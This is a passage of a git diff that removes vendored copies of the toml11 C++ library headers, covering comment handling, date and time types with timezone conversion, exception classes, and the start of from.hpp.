-// add an iterator that points nothing.
-//
-// It always points null, so DO NOT unwrap this iterator. It always crashes
-// your program.
-template<typename T, bool is_const>
-struct empty_iterator
-{
-    using value_type        = T;
-    using reference_type    = typename std::conditional<is_const, T const&, T&>::type;
-    using pointer_type      = typename std::conditional<is_const, T const*, T*>::type;
-    using difference_type   = std::ptrdiff_t;
-    using iterator_category = std::random_access_iterator_tag;
-
-    empty_iterator()  = default;
-    ~empty_iterator() = default;
-    empty_iterator(empty_iterator const&) = default;
-    empty_iterator(empty_iterator &&)     = default;
-    empty_iterator& operator=(empty_iterator const&) = default;
-    empty_iterator& operator=(empty_iterator &&)     = default;
-
-    // DO NOT call these operators.
-    reference_type operator*()  const noexcept {std::terminate();}
-    pointer_type   operator->() const noexcept {return nullptr;}
-    reference_type operator[](difference_type) const noexcept {return this->operator*();}
-
-    // These operators do nothing.
-    empty_iterator& operator++()    noexcept {return *this;}
-    empty_iterator  operator++(int) noexcept {return *this;}
-    empty_iterator& operator--()    noexcept {return *this;}
-    empty_iterator  operator--(int) noexcept {return *this;}
-
-    empty_iterator& operator+=(difference_type) noexcept {return *this;}
-    empty_iterator& operator-=(difference_type) noexcept {return *this;}
-
-    empty_iterator  operator+(difference_type) const noexcept {return *this;}
-    empty_iterator  operator-(difference_type) const noexcept {return *this;}
-};
-
-template<typename T, bool C>
-bool operator==(const empty_iterator<T, C>&, const empty_iterator<T, C>&) noexcept {return true;}
-template<typename T, bool C>
-bool operator!=(const empty_iterator<T, C>&, const empty_iterator<T, C>&) noexcept {return false;}
-template<typename T, bool C>
-bool operator< (const empty_iterator<T, C>&, const empty_iterator<T, C>&) noexcept {return false;}
-template<typename T, bool C>
-bool operator<=(const empty_iterator<T, C>&, const empty_iterator<T, C>&) noexcept {return true;}
-template<typename T, bool C>
-bool operator> (const empty_iterator<T, C>&, const empty_iterator<T, C>&) noexcept {return false;}
-template<typename T, bool C>
-bool operator>=(const empty_iterator<T, C>&, const empty_iterator<T, C>&) noexcept {return true;}
-
-template<typename T, bool C>
-typename empty_iterator<T, C>::difference_type
-operator-(const empty_iterator<T, C>&, const empty_iterator<T, C>&) noexcept {return 0;}
-
-template<typename T, bool C>
-empty_iterator<T, C>
-operator+(typename empty_iterator<T, C>::difference_type, const empty_iterator<T, C>& rhs) noexcept {return rhs;}
-template<typename T, bool C>
-empty_iterator<T, C>
-operator+(const empty_iterator<T, C>& lhs, typename empty_iterator<T, C>::difference_type) noexcept {return lhs;}
-
-} // detail
-
-// The default comment type. It discards all the comments. It requires only one
-// byte to contain, so the memory footprint is smaller than preserve_comments.
-//
-// It just ignores `push_back`, `insert`, `erase`, and any other modifications.
-// IT always returns size() == 0, the iterator taken by `begin()` is always the
-// same as that of `end()`, and accessing through `operator[]` or iterators
-// always causes a segmentation fault. DO NOT access to the element of this.
-//
-// Why this is chose as the default type is because the last version (2.x.y)
-// does not contain any comments in a value. To minimize the impact on the
-// efficiency, this is chosen as a default.
-//
-// To reduce the memory footprint, later we can try empty base optimization (EBO).
-struct discard_comments
-{
-    using size_type              = std::size_t;
-    using difference_type        = std::ptrdiff_t;
-    using value_type             = std::string;
-    using reference              = std::string&;
-    using const_reference        = std::string const&;
-    using pointer                = std::string*;
-    using const_pointer          = std::string const*;
-    using iterator               = detail::empty_iterator<std::string, false>;
-    using const_iterator         = detail::empty_iterator<std::string, true>;
-    using reverse_iterator       = detail::empty_iterator<std::string, false>;
-    using const_reverse_iterator = detail::empty_iterator<std::string, true>;
-
-    discard_comments() = default;
-    ~discard_comments() = default;
-    discard_comments(discard_comments const&) = default;
-    discard_comments(discard_comments &&)     = default;
-    discard_comments& operator=(discard_comments const&) = default;
-    discard_comments& operator=(discard_comments &&)     = default;
-
-    explicit discard_comments(const std::vector<std::string>&) noexcept {}
-    explicit discard_comments(std::vector<std::string>&&)      noexcept {}
-    discard_comments& operator=(const std::vector<std::string>&) noexcept {return *this;}
-    discard_comments& operator=(std::vector<std::string>&&)      noexcept {return *this;}
-
-    explicit discard_comments(const preserve_comments&)        noexcept {}
-
-    explicit discard_comments(size_type) noexcept {}
-    discard_comments(size_type, const std::string&) noexcept {}
-    discard_comments(std::initializer_list<std::string>) noexcept {}
-    template<typename InputIterator>
-    discard_comments(InputIterator, InputIterator) noexcept {}
-
-    template<typename InputIterator>
-    void assign(InputIterator, InputIterator)       noexcept {}
-    void assign(std::initializer_list<std::string>) noexcept {}
-    void assign(size_type, const std::string&)      noexcept {}
-
-    iterator insert(const_iterator, const std::string&)                 {return iterator{};}
-    iterator insert(const_iterator, std::string&&)                      {return iterator{};}
-    iterator insert(const_iterator, size_type, const std::string&)      {return iterator{};}
-    template<typename InputIterator>
-    iterator insert(const_iterator, InputIterator, InputIterator)       {return iterator{};}
-    iterator insert(const_iterator, std::initializer_list<std::string>) {return iterator{};}
-
-    template<typename ... Ts>
-    iterator emplace(const_iterator, Ts&& ...)     {return iterator{};}
-    iterator erase(const_iterator)                 {return iterator{};}
-    iterator erase(const_iterator, const_iterator) {return iterator{};}
-
-    void swap(discard_comments&) {return;}
-
-    void push_back(const std::string&) {return;}
-    void push_back(std::string&&     ) {return;}
-    void pop_back()                    {return;}
-
-    template<typename ... Ts>
-    void emplace_back(Ts&& ...) {return;}
-
-    void clear() {return;}
-
-    size_type size()     const noexcept {return 0;}
-    size_type max_size() const noexcept {return 0;}
-    size_type capacity() const noexcept {return 0;}
-    bool      empty()    const noexcept {return true;}
-
-    void reserve(size_type)                    {return;}
-    void resize(size_type)                     {return;}
-    void resize(size_type, const std::string&) {return;}
-    void shrink_to_fit()                       {return;}
-
-    // DO NOT access to the element of this container. This container is always
-    // empty, so accessing through operator[], front/back, data causes address
-    // error.
-
-    reference       operator[](const size_type)       noexcept {return *data();}
-    const_reference operator[](const size_type) const noexcept {return *data();}
-    reference       at(const size_type)       {throw std::out_of_range("toml::discard_comment is always empty.");}
-    const_reference at(const size_type) const {throw std::out_of_range("toml::discard_comment is always empty.");}
-    reference       front()       noexcept {return *data();}
-    const_reference front() const noexcept {return *data();}
-    reference       back()        noexcept {return *data();}
-    const_reference back()  const noexcept {return *data();}
-
-    pointer         data()        noexcept {return nullptr;}
-    const_pointer   data()  const noexcept {return nullptr;}
-
-    iterator       begin()        noexcept {return iterator{};}
-    iterator       end()          noexcept {return iterator{};}
-    const_iterator begin()  const noexcept {return const_iterator{};}
-    const_iterator end()    const noexcept {return const_iterator{};}
-    const_iterator cbegin() const noexcept {return const_iterator{};}
-    const_iterator cend()   const noexcept {return const_iterator{};}
-
-    reverse_iterator       rbegin()        noexcept {return iterator{};}
-    reverse_iterator       rend()          noexcept {return iterator{};}
-    const_reverse_iterator rbegin()  const noexcept {return const_iterator{};}
-    const_reverse_iterator rend()    const noexcept {return const_iterator{};}
-    const_reverse_iterator crbegin() const noexcept {return const_iterator{};}
-    const_reverse_iterator crend()   const noexcept {return const_iterator{};}
-};
-
-inline bool operator==(const discard_comments&, const discard_comments&) noexcept {return true;}
-inline bool operator!=(const discard_comments&, const discard_comments&) noexcept {return false;}
-inline bool operator< (const discard_comments&, const discard_comments&) noexcept {return false;}
-inline bool operator<=(const discard_comments&, const discard_comments&) noexcept {return true;}
-inline bool operator> (const discard_comments&, const discard_comments&) noexcept {return false;}
-inline bool operator>=(const discard_comments&, const discard_comments&) noexcept {return true;}
-
-inline void swap(const discard_comments&, const discard_comments&) noexcept {return;}
-
-template<typename charT, typename traits>
-std::basic_ostream<charT, traits>&
-operator<<(std::basic_ostream<charT, traits>& os, const discard_comments&)
-{
-    return os;
-}
-
-} // toml11
-#endif// TOML11_COMMENTS_HPP
diff --git a/src/toml11/toml/datetime.hpp b/src/toml11/toml/datetime.hpp
deleted file mode 100644
index d8127c150a9..00000000000
--- a/src/toml11/toml/datetime.hpp
+++ /dev/null
@@ -1,631 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_DATETIME_HPP
-#define TOML11_DATETIME_HPP
-#include <cstdint>
-#include <cstdlib>
-#include <ctime>
-
-#include <array>
-#include <chrono>
-#include <iomanip>
-#include <ostream>
-#include <tuple>
-
-namespace toml
-{
-
-// To avoid non-threadsafe std::localtime. In C11 (not C++11!), localtime_s is
-// provided in the absolutely same purpose, but C++11 is actually not compatible
-// with C11. We need to dispatch the function depending on the OS.
-namespace detail
-{
-// TODO: find more sophisticated way to handle this
-#if (defined(_POSIX_C_SOURCE) && _POSIX_C_SOURCE >= 1) || defined(_XOPEN_SOURCE) || defined(_BSD_SOURCE) || defined(_SVID_SOURCE) || defined(_POSIX_SOURCE)
-inline std::tm localtime_s(const std::time_t* src)
-{
-    std::tm dst;
-    const auto result = ::localtime_r(src, &dst);
-    if (!result) { throw std::runtime_error("localtime_r failed."); }
-    return dst;
-}
-inline std::tm gmtime_s(const std::time_t* src)
-{
-    std::tm dst;
-    const auto result = ::gmtime_r(src, &dst);
-    if (!result) { throw std::runtime_error("gmtime_r failed."); }
-    return dst;
-}
-#elif defined(_MSC_VER)
-inline std::tm localtime_s(const std::time_t* src)
-{
-    std::tm dst;
-    const auto result = ::localtime_s(&dst, src);
-    if (result) { throw std::runtime_error("localtime_s failed."); }
-    return dst;
-}
-inline std::tm gmtime_s(const std::time_t* src)
-{
-    std::tm dst;
-    const auto result = ::gmtime_s(&dst, src);
-    if (result) { throw std::runtime_error("gmtime_s failed."); }
-    return dst;
-}
-#else // fallback. not threadsafe
-inline std::tm localtime_s(const std::time_t* src)
-{
-    const auto result = std::localtime(src);
-    if (!result) { throw std::runtime_error("localtime failed."); }
-    return *result;
-}
-inline std::tm gmtime_s(const std::time_t* src)
-{
-    const auto result = std::gmtime(src);
-    if (!result) { throw std::runtime_error("gmtime failed."); }
-    return *result;
-}
-#endif
-} // detail
-
-enum class month_t : std::uint8_t
-{
-    Jan =  0,
-    Feb =  1,
-    Mar =  2,
-    Apr =  3,
-    May =  4,
-    Jun =  5,
-    Jul =  6,
-    Aug =  7,
-    Sep =  8,
-    Oct =  9,
-    Nov = 10,
-    Dec = 11
-};
-
-struct local_date
-{
-    std::int16_t year;   // A.D. (like, 2018)
-    std::uint8_t month;  // [0, 11]
-    std::uint8_t day;    // [1, 31]
-
-    local_date(int y, month_t m, int d)
-        : year (static_cast<std::int16_t>(y)),
-          month(static_cast<std::uint8_t>(m)),
-          day  (static_cast<std::uint8_t>(d))
-    {}
-
-    explicit local_date(const std::tm& t)
-        : year (static_cast<std::int16_t>(t.tm_year + 1900)),
-          month(static_cast<std::uint8_t>(t.tm_mon)),
-          day  (static_cast<std::uint8_t>(t.tm_mday))
-    {}
-
-    explicit local_date(const std::chrono::system_clock::time_point& tp)
-    {
-        const auto t    = std::chrono::system_clock::to_time_t(tp);
-        const auto time = detail::localtime_s(&t);
-        *this = local_date(time);
-    }
-
-    explicit local_date(const std::time_t t)
-        : local_date(std::chrono::system_clock::from_time_t(t))
-    {}
-
-    operator std::chrono::system_clock::time_point() const
-    {
-        // std::mktime returns date as local time zone. no conversion needed
-        std::tm t;
-        t.tm_sec   = 0;
-        t.tm_min   = 0;
-        t.tm_hour  = 0;
-        t.tm_mday  = static_cast<int>(this->day);
-        t.tm_mon   = static_cast<int>(this->month);
-        t.tm_year  = static_cast<int>(this->year) - 1900;
-        t.tm_wday  = 0; // the value will be ignored
-        t.tm_yday  = 0; // the value will be ignored
-        t.tm_isdst = -1;
-        return std::chrono::system_clock::from_time_t(std::mktime(&t));
-    }
-
-    operator std::time_t() const
-    {
-        return std::chrono::system_clock::to_time_t(
-                std::chrono::system_clock::time_point(*this));
-    }
-
-    local_date() = default;
-    ~local_date() = default;
-    local_date(local_date const&) = default;
-    local_date(local_date&&)      = default;
-    local_date& operator=(local_date const&) = default;
-    local_date& operator=(local_date&&)      = default;
-};
-
-inline bool operator==(const local_date& lhs, const local_date& rhs)
-{
-    return std::make_tuple(lhs.year, lhs.month, lhs.day) ==
-           std::make_tuple(rhs.year, rhs.month, rhs.day);
-}
-inline bool operator!=(const local_date& lhs, const local_date& rhs)
-{
-    return !(lhs == rhs);
-}
-inline bool operator< (const local_date& lhs, const local_date& rhs)
-{
-    return std::make_tuple(lhs.year, lhs.month, lhs.day) <
-           std::make_tuple(rhs.year, rhs.month, rhs.day);
-}
-inline bool operator<=(const local_date& lhs, const local_date& rhs)
-{
-    return (lhs < rhs) || (lhs == rhs);
-}
-inline bool operator> (const local_date& lhs, const local_date& rhs)
-{
-    return !(lhs <= rhs);
-}
-inline bool operator>=(const local_date& lhs, const local_date& rhs)
-{
-    return !(lhs < rhs);
-}
-
-template<typename charT, typename traits>
-std::basic_ostream<charT, traits>&
-operator<<(std::basic_ostream<charT, traits>& os, const local_date& date)
-{
-    os << std::setfill('0') << std::setw(4) << static_cast<int>(date.year )     << '-';
-    os << std::setfill('0') << std::setw(2) << static_cast<int>(date.month) + 1 << '-';
-    os << std::setfill('0') << std::setw(2) << static_cast<int>(date.day  )    ;
-    return os;
-}
-
-struct local_time
-{
-    std::uint8_t  hour;        // [0, 23]
-    std::uint8_t  minute;      // [0, 59]
-    std::uint8_t  second;      // [0, 60]
-    std::uint16_t millisecond; // [0, 999]
-    std::uint16_t microsecond; // [0, 999]
-    std::uint16_t nanosecond;  // [0, 999]
-
-    local_time(int h, int m, int s,
-               int ms = 0, int us = 0, int ns = 0)
-        : hour  (static_cast<std::uint8_t>(h)),
-          minute(static_cast<std::uint8_t>(m)),
-          second(static_cast<std::uint8_t>(s)),
-          millisecond(static_cast<std::uint16_t>(ms)),
-          microsecond(static_cast<std::uint16_t>(us)),
-          nanosecond (static_cast<std::uint16_t>(ns))
-    {}
-
-    explicit local_time(const std::tm& t)
-        : hour  (static_cast<std::uint8_t>(t.tm_hour)),
-          minute(static_cast<std::uint8_t>(t.tm_min)),
-          second(static_cast<std::uint8_t>(t.tm_sec)),
-          millisecond(0), microsecond(0), nanosecond(0)
-    {}
-
-    template<typename Rep, typename Period>
-    explicit local_time(const std::chrono::duration<Rep, Period>& t)
-    {
-        const auto h = std::chrono::duration_cast<std::chrono::hours>(t);
-        this->hour = static_cast<std::uint8_t>(h.count());
-        const auto t2 = t - h;
-        const auto m = std::chrono::duration_cast<std::chrono::minutes>(t2);
-        this->minute = static_cast<std::uint8_t>(m.count());
-        const auto t3 = t2 - m;
-        const auto s = std::chrono::duration_cast<std::chrono::seconds>(t3);
-        this->second = static_cast<std::uint8_t>(s.count());
-        const auto t4 = t3 - s;
-        const auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(t4);
-        this->millisecond = static_cast<std::uint16_t>(ms.count());
-        const auto t5 = t4 - ms;
-        const auto us = std::chrono::duration_cast<std::chrono::microseconds>(t5);
-        this->microsecond = static_cast<std::uint16_t>(us.count());
-        const auto t6 = t5 - us;
-        const auto ns = std::chrono::duration_cast<std::chrono::nanoseconds>(t6);
-        this->nanosecond = static_cast<std::uint16_t>(ns.count());
-    }
-
-    operator std::chrono::nanoseconds() const
-    {
-        return std::chrono::nanoseconds (this->nanosecond)  +
-               std::chrono::microseconds(this->microsecond) +
-               std::chrono::milliseconds(this->millisecond) +
-               std::chrono::seconds(this->second) +
-               std::chrono::minutes(this->minute) +
-               std::chrono::hours(this->hour);
-    }
-
-    local_time() = default;
-    ~local_time() = default;
-    local_time(local_time const&) = default;
-    local_time(local_time&&)      = default;
-    local_time& operator=(local_time const&) = default;
-    local_time& operator=(local_time&&)      = default;
-};
-
-inline bool operator==(const local_time& lhs, const local_time& rhs)
-{
-    return std::make_tuple(lhs.hour, lhs.minute, lhs.second, lhs.millisecond, lhs.microsecond, lhs.nanosecond) ==
-           std::make_tuple(rhs.hour, rhs.minute, rhs.second, rhs.millisecond, rhs.microsecond, rhs.nanosecond);
-}
-inline bool operator!=(const local_time& lhs, const local_time& rhs)
-{
-    return !(lhs == rhs);
-}
-inline bool operator< (const local_time& lhs, const local_time& rhs)
-{
-    return std::make_tuple(lhs.hour, lhs.minute, lhs.second, lhs.millisecond, lhs.microsecond, lhs.nanosecond) <
-           std::make_tuple(rhs.hour, rhs.minute, rhs.second, rhs.millisecond, rhs.microsecond, rhs.nanosecond);
-}
-inline bool operator<=(const local_time& lhs, const local_time& rhs)
-{
-    return (lhs < rhs) || (lhs == rhs);
-}
-inline bool operator> (const local_time& lhs, const local_time& rhs)
-{
-    return !(lhs <= rhs);
-}
-inline bool operator>=(const local_time& lhs, const local_time& rhs)
-{
-    return !(lhs < rhs);
-}
-
-template<typename charT, typename traits>
-std::basic_ostream<charT, traits>&
-operator<<(std::basic_ostream<charT, traits>& os, const local_time& time)
-{
-    os << std::setfill('0') << std::setw(2) << static_cast<int>(time.hour  ) << ':';
-    os << std::setfill('0') << std::setw(2) << static_cast<int>(time.minute) << ':';
-    os << std::setfill('0') << std::setw(2) << static_cast<int>(time.second);
-    if(time.millisecond != 0 || time.microsecond != 0 || time.nanosecond != 0)
-    {
-        os << '.';
-        os << std::setfill('0') << std::setw(3) << static_cast<int>(time.millisecond);
-        if(time.microsecond != 0 || time.nanosecond != 0)
-        {
-            os << std::setfill('0') << std::setw(3) << static_cast<int>(time.microsecond);
-            if(time.nanosecond != 0)
-            {
-                os << std::setfill('0') << std::setw(3) << static_cast<int>(time.nanosecond);
-            }
-        }
-    }
-    return os;
-}
-
-struct time_offset
-{
-    std::int8_t hour;   // [-12, 12]
-    std::int8_t minute; // [-59, 59]
-
-    time_offset(int h, int m)
-        : hour  (static_cast<std::int8_t>(h)),
-          minute(static_cast<std::int8_t>(m))
-    {}
-
-    operator std::chrono::minutes() const
-    {
-        return std::chrono::minutes(this->minute) +
-               std::chrono::hours(this->hour);
-    }
-
-    time_offset() = default;
-    ~time_offset() = default;
-    time_offset(time_offset const&) = default;
-    time_offset(time_offset&&)      = default;
-    time_offset& operator=(time_offset const&) = default;
-    time_offset& operator=(time_offset&&)      = default;
-};
-
-inline bool operator==(const time_offset& lhs, const time_offset& rhs)
-{
-    return std::make_tuple(lhs.hour, lhs.minute) ==
-           std::make_tuple(rhs.hour, rhs.minute);
-}
-inline bool operator!=(const time_offset& lhs, const time_offset& rhs)
-{
-    return !(lhs == rhs);
-}
-inline bool operator< (const time_offset& lhs, const time_offset& rhs)
-{
-    return std::make_tuple(lhs.hour, lhs.minute) <
-           std::make_tuple(rhs.hour, rhs.minute);
-}
-inline bool operator<=(const time_offset& lhs, const time_offset& rhs)
-{
-    return (lhs < rhs) || (lhs == rhs);
-}
-inline bool operator> (const time_offset& lhs, const time_offset& rhs)
-{
-    return !(lhs <= rhs);
-}
-inline bool operator>=(const time_offset& lhs, const time_offset& rhs)
-{
-    return !(lhs < rhs);
-}
-
-template<typename charT, typename traits>
-std::basic_ostream<charT, traits>&
-operator<<(std::basic_ostream<charT, traits>& os, const time_offset& offset)
-{
-    if(offset.hour == 0 && offset.minute == 0)
-    {
-        os << 'Z';
-        return os;
-    }
-    int minute = static_cast<int>(offset.hour) * 60 + offset.minute;
-    if(minute < 0){os << '-'; minute = std::abs(minute);} else {os << '+';}
-    os << std::setfill('0') << std::setw(2) << minute / 60 << ':';
-    os << std::setfill('0') << std::setw(2) << minute % 60;
-    return os;
-}
-
-struct local_datetime
-{
-    local_date date;
-    local_time time;
-
-    local_datetime(local_date d, local_time t): date(d), time(t) {}
-
-    explicit local_datetime(const std::tm& t): date(t), time(t){}
-
-    explicit local_datetime(const std::chrono::system_clock::time_point& tp)
-    {
-        const auto t = std::chrono::system_clock::to_time_t(tp);
-        std::tm ltime = detail::localtime_s(&t);
-
-        this->date = local_date(ltime);
-        this->time = local_time(ltime);
-
-        // std::tm lacks subsecond information, so diff between tp and tm
-        // can be used to get millisecond & microsecond information.
-        const auto t_diff = tp -
-            std::chrono::system_clock::from_time_t(std::mktime(&ltime));
-        this->time.millisecond = static_cast<std::uint16_t>(
-          std::chrono::duration_cast<std::chrono::milliseconds>(t_diff).count());
-        this->time.microsecond = static_cast<std::uint16_t>(
-          std::chrono::duration_cast<std::chrono::microseconds>(t_diff).count());
-        this->time.nanosecond = static_cast<std::uint16_t>(
-          std::chrono::duration_cast<std::chrono::nanoseconds >(t_diff).count());
-    }
-
-    explicit local_datetime(const std::time_t t)
-        : local_datetime(std::chrono::system_clock::from_time_t(t))
-    {}
-
-    operator std::chrono::system_clock::time_point() const
-    {
-        using internal_duration =
-            typename std::chrono::system_clock::time_point::duration;
-
-        // Normally DST begins at A.M. 3 or 4. If we re-use conversion operator
-        // of local_date and local_time independently, the conversion fails if
-        // it is the day when DST begins or ends. Since local_date considers the
-        // time is 00:00 A.M. and local_time does not consider DST because it
-        // does not have any date information. We need to consider both date and
-        // time information at the same time to convert it correctly.
-
-        std::tm t;
-        t.tm_sec   = static_cast<int>(this->time.second);
-        t.tm_min   = static_cast<int>(this->time.minute);
-        t.tm_hour  = static_cast<int>(this->time.hour);
-        t.tm_mday  = static_cast<int>(this->date.day);
-        t.tm_mon   = static_cast<int>(this->date.month);
-        t.tm_year  = static_cast<int>(this->date.year) - 1900;
-        t.tm_wday  = 0; // the value will be ignored
-        t.tm_yday  = 0; // the value will be ignored
-        t.tm_isdst = -1;
-
-        // std::mktime returns date as local time zone. no conversion needed
-        auto dt = std::chrono::system_clock::from_time_t(std::mktime(&t));
-        dt += std::chrono::duration_cast<internal_duration>(
-                std::chrono::milliseconds(this->time.millisecond) +
-                std::chrono::microseconds(this->time.microsecond) +
-                std::chrono::nanoseconds (this->time.nanosecond));
-        return dt;
-    }
-
-    operator std::time_t() const
-    {
-        return std::chrono::system_clock::to_time_t(
-                std::chrono::system_clock::time_point(*this));
-    }
-
-    local_datetime() = default;
-    ~local_datetime() = default;
-    local_datetime(local_datetime const&) = default;
-    local_datetime(local_datetime&&)      = default;
-    local_datetime& operator=(local_datetime const&) = default;
-    local_datetime& operator=(local_datetime&&)      = default;
-};
-
-inline bool operator==(const local_datetime& lhs, const local_datetime& rhs)
-{
-    return std::make_tuple(lhs.date, lhs.time) ==
-           std::make_tuple(rhs.date, rhs.time);
-}
-inline bool operator!=(const local_datetime& lhs, const local_datetime& rhs)
-{
-    return !(lhs == rhs);
-}
-inline bool operator< (const local_datetime& lhs, const local_datetime& rhs)
-{
-    return std::make_tuple(lhs.date, lhs.time) <
-           std::make_tuple(rhs.date, rhs.time);
-}
-inline bool operator<=(const local_datetime& lhs, const local_datetime& rhs)
-{
-    return (lhs < rhs) || (lhs == rhs);
-}
-inline bool operator> (const local_datetime& lhs, const local_datetime& rhs)
-{
-    return !(lhs <= rhs);
-}
-inline bool operator>=(const local_datetime& lhs, const local_datetime& rhs)
-{
-    return !(lhs < rhs);
-}
-
-template<typename charT, typename traits>
-std::basic_ostream<charT, traits>&
-operator<<(std::basic_ostream<charT, traits>& os, const local_datetime& dt)
-{
-    os << dt.date << 'T' << dt.time;
-    return os;
-}
-
-struct offset_datetime
-{
-    local_date  date;
-    local_time  time;
-    time_offset offset;
-
-    offset_datetime(local_date d, local_time t, time_offset o)
-        : date(d), time(t), offset(o)
-    {}
-    offset_datetime(const local_datetime& dt, time_offset o)
-        : date(dt.date), time(dt.time), offset(o)
-    {}
-    explicit offset_datetime(const local_datetime& ld)
-        : date(ld.date), time(ld.time), offset(get_local_offset(nullptr))
-          // use the current local timezone offset
-    {}
-    explicit offset_datetime(const std::chrono::system_clock::time_point& tp)
-        : offset(0, 0) // use gmtime
-    {
-        const auto timet = std::chrono::system_clock::to_time_t(tp);
-        const auto tm    = detail::gmtime_s(&timet);
-        this->date = local_date(tm);
-        this->time = local_time(tm);
-    }
-    explicit offset_datetime(const std::time_t& t)
-        : offset(0, 0) // use gmtime
-    {
-        const auto tm    = detail::gmtime_s(&t);
-        this->date = local_date(tm);
-        this->time = local_time(tm);
-    }
-    explicit offset_datetime(const std::tm& t)
-        : offset(0, 0) // assume gmtime
-    {
-        this->date = local_date(t);
-        this->time = local_time(t);
-    }
-
-    operator std::chrono::system_clock::time_point() const
-    {
-        // get date-time
-        using internal_duration =
-            typename std::chrono::system_clock::time_point::duration;
-
-        // first, convert it to local date-time information in the same way as
-        // local_datetime does. later we will use time_t to adjust time offset.
-        std::tm t;
-        t.tm_sec   = static_cast<int>(this->time.second);
-        t.tm_min   = static_cast<int>(this->time.minute);
-        t.tm_hour  = static_cast<int>(this->time.hour);
-        t.tm_mday  = static_cast<int>(this->date.day);
-        t.tm_mon   = static_cast<int>(this->date.month);
-        t.tm_year  = static_cast<int>(this->date.year) - 1900;
-        t.tm_wday  = 0; // the value will be ignored
-        t.tm_yday  = 0; // the value will be ignored
-        t.tm_isdst = -1;
-        const std::time_t tp_loc = std::mktime(std::addressof(t));
-
-        auto tp = std::chrono::system_clock::from_time_t(tp_loc);
-        tp += std::chrono::duration_cast<internal_duration>(
-                std::chrono::milliseconds(this->time.millisecond) +
-                std::chrono::microseconds(this->time.microsecond) +
-                std::chrono::nanoseconds (this->time.nanosecond));
-
-        // Since mktime uses local time zone, it should be corrected.
-        // `12:00:00+09:00` means `03:00:00Z`. So mktime returns `03:00:00Z` if
-        // we are in `+09:00` timezone. To represent `12:00:00Z` there, we need
-        // to add `+09:00` to `03:00:00Z`.
-        //    Here, it uses the time_t converted from date-time info to handle
-        // daylight saving time.
-        const auto ofs = get_local_offset(std::addressof(tp_loc));
-        tp += std::chrono::hours  (ofs.hour);
-        tp += std::chrono::minutes(ofs.minute);
-
-        // We got `12:00:00Z` by correcting local timezone applied by mktime.
-        // Then we will apply the offset. Let's say `12:00:00-08:00` is given.
-        // And now, we have `12:00:00Z`. `12:00:00-08:00` means `20:00:00Z`.
-        // So we need to subtract the offset.
-        tp -= std::chrono::minutes(this->offset);
-        return tp;
-    }
-
-    operator std::time_t() const
-    {
-        return std::chrono::system_clock::to_time_t(
-                std::chrono::system_clock::time_point(*this));
-    }
-
-    offset_datetime() = default;
-    ~offset_datetime() = default;
-    offset_datetime(offset_datetime const&) = default;
-    offset_datetime(offset_datetime&&)      = default;
-    offset_datetime& operator=(offset_datetime const&) = default;
-    offset_datetime& operator=(offset_datetime&&)      = default;
-
-  private:
-
-    static time_offset get_local_offset(const std::time_t* tp)
-    {
-        // get local timezone with the same date-time information as mktime
-        const auto t = detail::localtime_s(tp);
-
-        std::array<char, 6> buf;
-        const auto result = std::strftime(buf.data(), 6, "%z", &t); // +hhmm\0
-        if(result != 5)
-        {
-            throw std::runtime_error("toml::offset_datetime: cannot obtain "
-                                     "timezone information of current env");
-        }
-        const int ofs = std::atoi(buf.data());
-        const int ofs_h = ofs / 100;
-        const int ofs_m = ofs - (ofs_h * 100);
-        return time_offset(ofs_h, ofs_m);
-    }
-};
-
-inline bool operator==(const offset_datetime& lhs, const offset_datetime& rhs)
-{
-    return std::make_tuple(lhs.date, lhs.time, lhs.offset) ==
-           std::make_tuple(rhs.date, rhs.time, rhs.offset);
-}
-inline bool operator!=(const offset_datetime& lhs, const offset_datetime& rhs)
-{
-    return !(lhs == rhs);
-}
-inline bool operator< (const offset_datetime& lhs, const offset_datetime& rhs)
-{
-    return std::make_tuple(lhs.date, lhs.time, lhs.offset) <
-           std::make_tuple(rhs.date, rhs.time, rhs.offset);
-}
-inline bool operator<=(const offset_datetime& lhs, const offset_datetime& rhs)
-{
-    return (lhs < rhs) || (lhs == rhs);
-}
-inline bool operator> (const offset_datetime& lhs, const offset_datetime& rhs)
-{
-    return !(lhs <= rhs);
-}
-inline bool operator>=(const offset_datetime& lhs, const offset_datetime& rhs)
-{
-    return !(lhs < rhs);
-}
-
-template<typename charT, typename traits>
-std::basic_ostream<charT, traits>&
-operator<<(std::basic_ostream<charT, traits>& os, const offset_datetime& dt)
-{
-    os << dt.date << 'T' << dt.time << dt.offset;
-    return os;
-}
-
-}//toml
-#endif// TOML11_DATETIME
diff --git a/src/toml11/toml/exception.hpp b/src/toml11/toml/exception.hpp
deleted file mode 100644
index c64651d0ada..00000000000
--- a/src/toml11/toml/exception.hpp
+++ /dev/null
@@ -1,65 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_EXCEPTION_HPP
-#define TOML11_EXCEPTION_HPP
-#include <stdexcept>
-#include <string>
-
-#include "source_location.hpp"
-
-namespace toml
-{
-
-struct exception : public std::exception
-{
-  public:
-    explicit exception(const source_location& loc): loc_(loc) {}
-    virtual ~exception() noexcept override = default;
-    virtual const char* what() const noexcept override {return "";}
-    virtual source_location const& location() const noexcept {return loc_;}
-
-  protected:
-    source_location loc_;
-};
-
-struct syntax_error : public toml::exception
-{
-  public:
-    explicit syntax_error(const std::string& what_arg, const source_location& loc)
-        : exception(loc), what_(what_arg)
-    {}
-    virtual ~syntax_error() noexcept override = default;
-    virtual const char* what() const noexcept override {return what_.c_str();}
-
-  protected:
-    std::string what_;
-};
-
-struct type_error : public toml::exception
-{
-  public:
-    explicit type_error(const std::string& what_arg, const source_location& loc)
-        : exception(loc), what_(what_arg)
-    {}
-    virtual ~type_error() noexcept override = default;
-    virtual const char* what() const noexcept override {return what_.c_str();}
-
-  protected:
-    std::string what_;
-};
-
-struct internal_error : public toml::exception
-{
-  public:
-    explicit internal_error(const std::string& what_arg, const source_location& loc)
-        : exception(loc), what_(what_arg)
-    {}
-    virtual ~internal_error() noexcept override = default;
-    virtual const char* what() const noexcept override {return what_.c_str();}
-
-  protected:
-    std::string what_;
-};
-
-} // toml
-#endif // TOML_EXCEPTION
diff --git a/src/toml11/toml/from.hpp b/src/toml11/toml/from.hpp
deleted file mode 100644
index 10815caf56f..00000000000
--- a/src/toml11/toml/from.hpp
+++ /dev/null
@@ -1,19 +0,0 @@
-//     Copyright Toru Niina 2019.
-// Distributed under the MIT License.
-#ifndef TOML11_FROM_HPP
-#define TOML11_FROM_HPP
-
-namespace toml
-{
-
-template<typename T>
-struct from;
-// {
